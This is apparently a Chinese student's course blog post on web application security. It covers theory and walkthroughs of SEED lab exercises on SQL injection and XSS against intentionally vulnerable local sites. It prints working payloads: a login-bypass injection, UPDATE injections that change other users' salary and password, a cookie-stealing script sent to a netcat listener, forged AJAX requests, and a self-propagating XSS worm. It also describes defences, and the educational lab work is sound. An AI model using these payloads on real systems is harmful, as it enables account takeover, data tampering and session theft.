20199123 2019-2020-2 《网络攻防实践》第11周作业

20199123 2019-2020-2 《网络攻防实践》第11周作业

0 总体结构

本次作业属于那个课程 《网络攻防实践》
这个作业要求在哪里 《网络攻防实践》第十一周作业
我在这个课程的目标是 学习网络攻防相关技术、掌握网络攻防相关能力
这个作业在哪个具体方面帮助我实现目标 学习Web应用程序安全攻防
作业正文 下述正文
其他参考文献 见文末

1.实践内容

本章知识整体结构图


1.1 Web应用程序体系结构及其安全威胁

  • Web应用程序体系结构图及详细介绍:

    • 浏览器(Browser):标准的Web客户端就是我们所熟知的浏览器,如IE、Firefox、Chrome等,由于技术的发展,在网页中加入了许多动态的元素使网页成为更富动态性、交互性的Web应用程序终端平台;由于这些新技术扩展了浏览器的功能,提升了用户感受,也引入更多新的攻击点;

    • Web服务器(Web Server):****Web服务器软件通常被简单的描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示;

    • Web应用程序(Web Application):现代Web应用的核心是出于服务器端的业务逻辑,即Web应用程序;最普遍的Web应用程序层结构为三层体系结构:表示层、业务逻辑层和数据层组成;

      表示层:接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成;

      业务逻辑层:Web应用程序的核心,从表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层;

      数据层:以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新;

    • 数据库(Database):Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层;

    • 传输协议HTTP/HTTPS:浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTTP/HTTPS协议。HTTP是无状态、明文传输,运行于众所周知的默认TCP端口,因此其安全性堪忧,由此产生了HTTPS协议;

  • Web应用体系结构及其安全威胁的层次模型及详细介绍:

    • 针对浏览器和终端用户的Web浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马,Phishing网站钓鱼等;
    • 针对传输网络的网络协议安全威胁:如针对HTTP明文传输协议的敏感信息监听等;
    • 系统层安全威胁:Web站点的宿主操作系统等存在着远程渗透攻击和本地渗透攻击威胁;
    • Web服务器软件安全威胁:Web服务器软件如IIS、Apache作为一种典型的网络服务,也不可避免存在安全漏洞;
    • Web应用程序安全威胁:包括SQL注入、XSS跨站脚本攻击等
    • Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁;

1.2 Web应用安全攻防技术概述

  • Web应用的信息收集:与系统和网络攻击类似,针对Web应用的攻击也需要首先进行信息情报的收集,对目标Web应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名、IP地址和虚拟IP地址等信息;

  • 手工审查Web应用程序结构与源代码:主要是针对以下目标Web应用程序进行审查不同类型的信息;

    ①静态和动态生成的页面;动态页面比较容易引起攻击者的关注,通过页面特征的识别可以准确的获知Web应用程序的具体类型;

    ②目录结构;Web服务器上的存储目录结构也是攻击者关注的信息,会对Web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查,搜索包含关键信息或可被攻击的文件;

    ③辅助性文件; 如CSS级联样式表、XML样式表、JavaScript文件、include文件等,手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等重要信息;

    ④输入表单;攻击者针对某些表单构造自动口令探测或者注入攻击的请求,尝试绕过表单正常处理过程,获得进一步访问权;

    ⑤查询参数字符串;从Web应用程序中很容易收集到一些动态页面文件的查询参数字符串,这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作;

  • 自动下载与镜像Web站点页面:对目标Web站点指定URL所对应的页面,或符合镜像设置的页面列表进行下载,并查看、搜索与分析本地保存的页面源代码;

  • 使用Google Hacking技术审查与探测Web应用程序:Google Hacking是一种最高效的审查与探测方法,特指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术;

  • Web应用程序安全评估与漏洞探测:在获得目标Web站点应用程序入口点、源代码和一些关键信息之后,还需要整理这些信息循序渐进的总结出针对这个Web应用程序的详细攻击步骤,针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查,现在往往使用一些Web应用安全辅助分析工具,包括以下三种:

    ①浏览器插件:在浏览器中嵌入软件模块,监控浏览器将要发送给远端Web服务器的请求,当观察到新的请求时,将其暂停并提交给分析人员,并为其提供修改请求数据的功能,之后再将修改后的请求发送出去;

    ②免费工具集:安全社区提供了一些开源或免费的Web应用安全评估工具集,它们较浏览器插件往往具有更强大的功能;

    ③商业Web应用安全评估系统和漏洞扫描器

  • 攻击Web服务器软件:早期的Web攻击技术利用的基本都是Web服务器软件包中的安全漏洞与不安全配置,而不是利用Web应用程序逻辑本身;

    Web服务器平台中的安全漏洞主要分为如下几类:

    • 数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程,Web服务器软件包也面临这缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令;
    • 服务器功能扩展模块漏洞:Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他的功能,启动包括动态代码执行(如微软的ASP)、站点检索(如IIS的索引服务)、Web分布式写作与版本管理协议WebDAV、SSL加密协议等;这些扩展模块中存在较多的安全漏洞;
    • 样本文件安全漏洞:为了让更多人接受和依赖他们的技术,Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台的一些新奇用法,但这些样本文件中存在安全漏洞,易受到攻击者攻击;
    • 源代码泄露:在特定情况下攻击者可以利用这些漏洞查看到系统级的文件;
    • 资源解析攻击:Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析;
  • 攻击Web应用程序:目前安全最薄弱的环节在于Web应用程序;《WASC Web安全威胁分类v1.0》将Web应用程序安全威胁从攻击技术角度分为如下6类:

    ①针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;

    ②授权机制的攻击:针对用来确认用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;

    ③客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;

    ④命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入(指客户端发送查询请求时,输入的字符串中含有一些特殊字符,导致修改了LDAP本来查询结构,从而使得可以访问更多的未授权数据的一种攻击方式)、操作系统命令注入、SQL注入、SSI(Sever-Side Include)注入等;

    ⑤信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等;

    ⑥逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等;

  • 攻击Web数据内容包括以下三种:

    • 安全敏感数据泄露
    • 网站篡改
    • 不良信息内容上传
  • Web应用安全防范措施:

    • Web站点网络传输安全设防措施:主要是将原本不安全协议修改为安全协议,如使用HTTPS、SSH、SFTP等协议;
    • Web站点操作系统及服务安全设防措施:对Web站点的操作系统与服务器软件进行及时的补丁更新;关闭不必要的服务;
    • Web应用程序安全设防措施:谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接受用户输入等;使用静态网页的形式兼顾安全性、访问性能与便捷性;及时对Web应用程序进行补丁修复;使用Web服务器软件提供的日志功能;
    • Web站点数据安全设防措施:提高网站内容维护人员的数据安全意识;对维护网站的数据安全实施日常监测和防护;

1.3 SQL注入

  • SQL注入攻击原理:利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符;或者没有进行严格的类型判断,如未判断输入参数是否合法整数类型的等,从而使得用户可以输入并执行一些非预期的SQL指令代码

    向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框,等等)输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为;

  • SQL注入攻击步骤和过程:

    • 发现SQL注入点

      常见的SQL注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页中,当some_rec字段为整数型参数时,SQL语句SELECT * FROM some_table WHERE some_rec = yyy可将参数some_rec = yyy修改为以下情况:

      • yyy修改为yyy' 多加了单引号造成数据类型不符合,动态页面会返回错误提示信息;
      • yyy修改为yyy and 1=1 加入永真式1=1,不对查询条件造成任何影响,返回正常页面;
      • yyy修改为yyy and 1=2 加入永假式1=2,返回空白页面或错误提示信息;

      以上三类情况都满足的话可以判断存在SQL注入点;

    • 判断后台数据库类型

      • 利用数据库服务器的系统变量进行判断;
      • 利用数据库服务器的系统表进行判断;
    • 后台数据库中管理员用户口令字猜解

      • 猜解表名
      • 猜解字段名
      • 用户名与口令猜解
    • 上传ASP后门,得到默认账户权限:ASP后门其绕过正常安全控制机制给出远程控制通道的作用

    • 本地权限提升

    • 利用数据库扩展存储过程执行Shell命令

  • SQL注入攻击工具:这个网站里面有些SQL注入的工具

  • SQL注入防范措施:

    • 使用类型安全的参数编码机制
    • 凡是来自外部的用户输入,必须进行完备检查
    • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象(简单来说就是数据库中的一种程序对象)
    • 加强SQL数据库服务器的配置与连接

1.4 XSS跨站脚本攻击

XSS跨站脚本攻击和SQL注入攻击非常的类似,包括书上介绍的顺序也是非常的类似的;

  • XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,在许多流行的Web论坛、博客、留言本及其他允许用户交互的Web应用程序中,用户提交内容中可以包含HTML、JavaScript及其他脚本代码,一旦这些Web应用程序缺乏输入合法性的有效检查和过滤之后,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中;

    XSS攻击的最终受害者是访问那些Web服务器的其他用户:在服务器端网页中插入一些恶意的客户端脚本代码,在Web服务器上产生出一些恶意攻击页面,当其他用户访问这些网页时,他们使用的客户端浏览器就会对下载并执行这些网页中的恶意客户端脚本,进行解析与执行,从而遭受攻击;

  • XSS攻击类型:持久性XSS漏洞和非持久性XSS漏洞

    • 持久性XSS漏洞:通常出现于一些可以将用户输入持久性的保存在Web服务器端,并在一些“正常”页面中持续性的显示,从而能够影响所有访问这些页面的其他用户,因此该类XSS漏洞也被称作存储性XSS漏洞;

    • 非持久性XSS漏洞:也被称为反射XSS漏洞,这个漏洞典型的例子是站点搜索引擎功能,如果用户搜索特定的一个查询字符串,这个查询字符串通常会在查询结果页面中进行重新显示,如果查询结果页面没有对输入的字符串进行恰当的转义和过滤处理,以消除HTML控制字符,那么就可能导致被XSS包含跨站脚本攻击;此类攻击很有可能使攻击者获取到Cookies等敏感信息;

    • 典型的非持久性XSS攻击过程:

  • XSS攻击防范措施:跨站脚本攻击是由于Web应用程序未对用户输入进行严格审查与过滤所引起的,但是恶意脚本执行却是在客户端的浏览器上,危害的也是客户端的安全。因此,对XSS跨站脚本的防范分为服务器端和客户端两个方面;

    • 服务器端防范措施:
      • 输入验证:主要是防范输入中不合法的字符;
      • 输出净化:如果Web应用程序将用户提交数据复制到响应页面中,那么Web应用程序应对这些数据进行HTML编码,以净化可能的恶意字符;
      • 消除危险的输入点
    • 客户端防范措施:提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读,此外也可以采用非主流的安全浏览器如Chrome、Opera来尽量降低安全风险;

2.实践过程

说明:由于旧的实验指导书并不适用于我们现在安装的SEED版本,因此使用解建国同学提供的新的指导书进行实验;

2.1 SEED SQL注入实验

实践任务:实验指导书中提供了一个创建好的易受SQL注入攻击的Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。通过此Web应用程序,员工可以查看和更新其个人信息,并将其信息输入在数据库中。这个Web应用程序的两个主要角色:管理员(特权角色)可以管理每位员工的资料信息;员工(普通角色)可以查看或更新自己的个人资料;根据本章学习内容完成以下任务:

  • 熟悉SQL语句:对使用MySQL创建的数据库使用SQL命令进行了解熟悉;
  • 对SELECT语句进行SQL注入攻击:在不知道密码的情况下登录此存在SQL注入漏洞的Web应用程序;
  • 对UPDATE语句进行SQL注入攻击:在员工进行更新个人信息的时候存在对UPDATE语句的SQL注入攻击;
  • SQL对抗:修复上述SQL注入攻击的漏洞;

实践步骤:

Step 0:实验环境介绍:

  • 虚拟机OS:SEED Ubuntu16.04

  • Web应用程序网站:

  • URL: http://www.SEEDLabSQLInjection.com

  • Folder: /var/www/SQLInjection/

  • Apache设置:由于使用了Apache托管了网站,因此需要设置打开Apache服务器;使用命令行sudo service apache2 start开启Apache服务器服务;


2.1.1 任务一:熟悉SQL语句

Step 1:SQL教程以前学习数据库的时候也使用过这个网站,亲测,可用!

Step 2:输入命令行sudo service apache2 start开启Apache服务;输入mysql -u root -p seedubuntu打开Web应用程序使用的MySQL数据库;

说明:-u 表示指定用户;-p表示用户对应的密码;

Step 3:使用命令use Users切换到Users数据库,使用命令show tables查看到有表credential信息;

Step 4:输入命令select * from credential;查看表信息发现有6行元组信息;


2.1.2 任务二:对SELECT语句进行SQL注入攻击

Step 1:打开SQL注入的网站www.SEEDLabSQLInjection.com;在未知用户名和密码的情况下随机输入信息,得到下面的截图可知用户名和密码信息提交给unsafe_home.php

Step 2:输入地址/var/www/SQLInjection/unsafe_home.php打开unsafe_home.php查看其源码;

unsafe_home.php中首先建立sql connection,其中可以看到SQL数据库的用户和密码

然后是创建会话,即在Web应用程序中提交输入的数据到数据库,两者之间建立连接;可以看到其中的SQL查询语句,从表credential查询id,name,eid等字段,限制条件where name='$input_uname' and Password='$hashed_pwd';

Step 3:根据已学习到的知识SELECT注入攻击的基本原理是精心构造一条SELECT语句提交给SQL数据库导致执行恶意操作

我们打开Employee Profile Login页面,在用户栏键入Admin'#那么精心构造的SQL语句即为:SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'

说明:#在SQL语句中为注释符号,因此这条构造的SQL注入攻击的语句实质上为SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'这样就能在未知Admin用户密码的情况下获得Admin所有的表单信息;

Step 4: 安装HTTP Heard live插件便于查看是否SQL注入攻击成功;

Step 5:按照上述的SQL注入攻击命令查看HTTP网页提交的表单的转义情况;

Step 6:****使用Linux自带的curl键入命令 curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=123查看SQL注入攻击网页提交的表单的详细参数情况;

从上图中可以看到已经获取到了Admin表所有信息,由此SQL注入攻击成功;


2.1.3 任务三:对UPDATE语句进行SQL注入攻击

Step 1:查看/var/www/SQLInjection/unsafe edit backend.php的代码; 发现其中有sql = "UPDATE credential SET nickename='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;"

Step 2:键入Alice'#登录Alice用户页面,进入Edit Profile页面;

修改上述的SQL语句nickname字段为',salary='9123' where Name='Alice'; # 即最终的SQL语句为:sql = "UPDATE credential SET nickname='salary='9123' where Name='Alice'; #,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;"

点击Save之后,查看到Alice用户的salary被修改为9123

Step 3:修改其他用户的工资;依旧登录Alice用户界面,将nickname字段修改为', salary=23 where Name='Ryan'#,再次登录Ryan用户的界面查看到其工资已被修改为23

Step 4:修改其他用户的密码;credential表信息中可以看到用户的密码是用sha1进行过加密,这里采用命令行echo -n 9123 | openssl sha1转换密钥9123的SHA1密码值

说明:OpenSSL是个集成的密码算法库,里面包含了对称加密算法,非对称加密算法和信息摘要算法等,实测好用!

Step 5:Alice用户的Edit Profile部分修改nickname字段为:', Password='064e276c0732ca5fd2a82675ae1fbc2467e89d1e' where Name='Ryan';#修改Ryan用户的密码,然后我们键入用户名Ryan及密码9123进行登录成功即修改密码成功;


2.1.4 任务四:SQL对抗,修复上述SQL注入攻击的漏洞

Step 1:这部分其实在指导书里面讲解的比较详细了和教材上455页介绍将动态SQL语句替换为存储过程、预编译SQL部分是一致的;

简单说一下,SQL注入漏洞的根本原因是构造的SQL语句程序(即PHP页面)并不知道那部分是数据,那部分是代码,因此才有了预编译SQL语句技术的出现;

Step 2:从下面这幅图可以看到SQL语句编译和执行的过程;我把指导书上的英文机翻简单整理了一下;

  • 在编译步骤中,首先查询经过解析和规范化阶段,在这个阶段,查询将根据语法和语义进行检查

  • 下一阶段是编译阶段,其中关键字(例如SELECT、FROM、UPDATE等)被转换为机器可以理解的格式

  • 在查询优化阶段,将考虑执行计划中的不同类型的查询并从中选择最佳优化方案。所选查询计划存储在缓存中,因此每当下一个查询进入时,都将对照缓存中的内容进行检查;如果它已经存在于缓存中,则将跳过解析、编译和查询优化阶段。

  • 然后,编译后的查询被传递到实际执行查询的执行阶段。准备好的语句在编译之后执行步骤之前出现。

  • 预编译语句将经过编译步骤,并转换为带有空数据占位符的预编译查询。要运行此预编译查询,需要提供数据,但这些数据不会经过编译步骤;相反,它们直接插入预编译查询,并发送到执行引擎。

  • 因此,即使数据中有SQL代码,在不经过编译步骤的情况下,代码也将被简单地视为数据的一部分,没有任何特殊意义。这就是prepared语句防止SQL注入攻击的方式。

Step 3:下面就是常见的SQL查询语句以及通过SQL预编译形成的查询语句,这两者是等价的;

2.2 SEED XSS攻击实验


实践任务:在Ubuntu VM镜像中设置了一个名为Elgg的Web应用程序,Elgg是一个非常流行的开源Web应用程序,这里镜像中为了演示XSS攻击如何进行工作,故意使得Elgg易受到XSS攻击;在这个实验要求以类似于Samy的方式对Elgg发起XSS漏洞攻击;简言之即为在用户中传播一个XSS蠕虫,使得任何查看受感染的用户配置的文件都会被感染;需要完成的任务如下:

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口;
  • 弹窗显示cookie信息:将cookie信息显示;
  • 窃取受害者的cookies:将cookie发送给攻击者;
  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程;
  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改;
  • 编写XSS蠕虫
  • 对抗XSS攻击

实践步骤:

Step 0:实验环境介绍:

  • 虚拟机OS:SEED Ubuntu16.04

  • Elgg Web应用程序网站:已安装在Ubuntu VM镜像中;其用户信息位于表credential里面;

  • DNS设置:实验中使用的URL如下:

  • Apache设置:使用命令行sudo service apache2 start开启Apache服务;


2.2.1 任务一:发布恶意消息,显示警报窗口

Step 1:使用Alice的账号和密码登录其主页;点击Edit profile找到Brief description插入XSS代码<script>alert('XSS');</script>点击save即可看到alert

Step 2:登录Boby账号,查看Alice的profile,也弹出了alert警告,因为没有对字段进行安全检查和过滤,便直接插入数据表在显示内容的时候,也是直接读取显示,没有经过输出净化所以才会存在XSS攻击的漏洞,那么插入JavaScript代码后能够XSS攻击成功;


2.2.2 任务二:弹窗显示cookie信息

Step 3:继续在Alice的Edit profile界面的Brief description插入XSS代码<script> alert(document.cookie);</script>

点击save就能看到XSS攻击结果;


2.2.3 任务三:窃取受害者的cookies

  • 在上一个任务中,攻击者编写的恶意JavaScript代码可以打印出用户的cookie但只有用户才能看到cookie,而不是攻击者。在此任务中,攻击者希望JavaScript代码将cookies发送给自己。为此,恶意JavaScript代码需要向攻击者发送一个HTTP请求,并将cookies附加到请求中。

  • 我们在恶意JavaScript插入一个<img>标记,并将其src属性设置为攻击者的主机。当JavaScript插入img标记时,浏览器会尝试从src字段中的URL加载图像;这会导致向攻击者的主机发送HTTP GET请求

  • 下面给出的JavaScript将cookies发送到攻击者机器的端口5555(IP地址为127.0.0.1),攻击者在该端口有一个TCP服务器监听同一端口

Step 4:嵌入JavaScript代码<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>其中127.0.0.1:5555表示本机的5555端口;

Step 5:终端中键入命令nc -l 5555 -vnc即为netcat-l 表示监听的是TCP连接;-v 表示输出详细信息;

Step 6:****使用Boby账号进行登录查看Alice的主页,这个时候就能窃取到Boby的cookies;


2.2.4 任务四:成为受害者的朋友

  • 在这个任务中,我们需要编写一个恶意JavaScript程序,该程序直接从受害者的浏览器伪造HTTP请求,而无需攻击者的干预。这次袭击的目的是让Alice成为受害者的朋友。

  • 要为受害者添加朋友,我们需要弄清楚当用户添加一个朋友时发送到服务器的内容

  • 我们使用Firefox的HTTP Header Live来获取信息。

Step 7:首先使用HTTP Header Live获取添加好友发送的HTTP网页的详细信息;登录任意一个用户账号点击添加好友,此时可得下图的HTTP Header信息;

从上图可知:①请求方式为POST;②请求地址为http://www.xsslabelgg.com/action/friends/add;③请求地址的三个参数为friend=44&__elgg_ts=1589289026&__elgg_token=CPyHj7k60QKsVyZnYU;其中44为Alice的ID号;

Step 8:在获得了上述的添加好友的信息后,采用下列的JavaScript代码来发送添加好友的HTTP请求;

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

Step 9:将这段代码放在Alice的About me(使用Edit HTML模式);

注意这里要先点击Edit HTML再粘贴代码!!!

Step 10:登录Boby账号,访问Alice主页,可以在HTTP Header Live中截获到添加好友的GET页面,这和上述的Step 7中的POST页面中参数信息是相符合的

Step 11:在Boby账号里查看到已自动添加了Alice为好友;


2.2.5 任务五:修改受害者的信息

Step 12:使用和上一个任务类似的方法,首先使用HTTP Header Live查看正常情况下,修改Profile时发送的POST请求;

Step 13:使用下列代码进行修改受害者信息;

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

说明:这段代码首先是①定义代码可访问到的变量&__elgg_token=__elgg_ts &__name=elgg.session.user.name;②构建URL即上图中的访问页面中的URL;③最后使用POST方式进行请求;

Step 14:同样将这段代码放到Alice的About me(Edit HTML模式);

Step 15:然后使用Boby账号访问Alice主页即可看到攻击成功页面;


2.2.6 任务六:编写XSS蠕虫

在实验指导书中给出了两种方法实现XSS蠕虫,其中一种是链接的方法,使用<script>标记中的src属性包含蠕虫;第二种方法是DOM方法即将蠕虫代码嵌入到受感染的配置文件中,以便将蠕虫传播到另一个配置文件中,蠕虫diamante可以将DOMAPI从Web页面检索到自身的副本;

Step 16:下面是指导书上提供的蠕虫传播代码:

<script id=worm>
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀
    var jsCode = document.getElementById("worm").innerHTML; ➁
    var tailTag = "</" + "script>"; ➂
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃
    alert(headerTag + jsCode + tailTag);
</script>

说明:从①②③④可以看到整个蠕虫传播代码从定义头标签到JsCode蠕虫定义,再到将定义的蠕虫组合成④这条语句,最后使用alert输出;

Step 17:我们将任务五和上述的代码结合在一起成为了一个带有传播功能的蠕虫病毒;

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

Step 18:将Step 17中的代码添加到Alice的About me(Edit HTML模式)中,然后用Boby去访问Alice主页,从图中可以看到蠕虫病毒已经感染了Boby的主页;


2.2.7 任务七:对抗XSS攻击

  • 方法一:使用Elgg内置的安全插件HTMLawed;使用管理员身份登录后找到**Account->administration (top right of screen) → plugins (on the right panel)将插件HTMLawed激活;

  • 方法二:使用名为htmlspecialchars()的内置PHP,可用于对用户输入中的特殊字符进行编码;


3.学习中遇到的问题及解决

  • 问题1 :在2.2.4任务四:成为受害者的朋友的时候,无法攻击成功;
  • 解决1 :代码的模式和顺序使用错误,调整为先点击Edit HTML模式再输入代码;
  • 问题2:在2.2.4任务四中捕获HTTP Header Live的时候总是不能捕获到正确的HTTP表单;
  • 解决2:不断清空HTTP Header Live和刷新页面;

4.实践总结

这次的实践感觉理论好懂,但是实际操作并不是很简单,特别是那些JS的代码,如果没有指导书和各位大佬探路我是肯定写不出来的,毕竟新手也没学过。总的来说这次的实践是能够从肉眼看到输入不正确和输入字符转义不正确而带来的攻击后果,这也提醒我们以后写程序的时候要考虑安全性并且输入的时候也要注意。

参考资料

posted @ 2020-05-13 00:11  Jody9123  阅读(615)  评论(0编辑  收藏  举报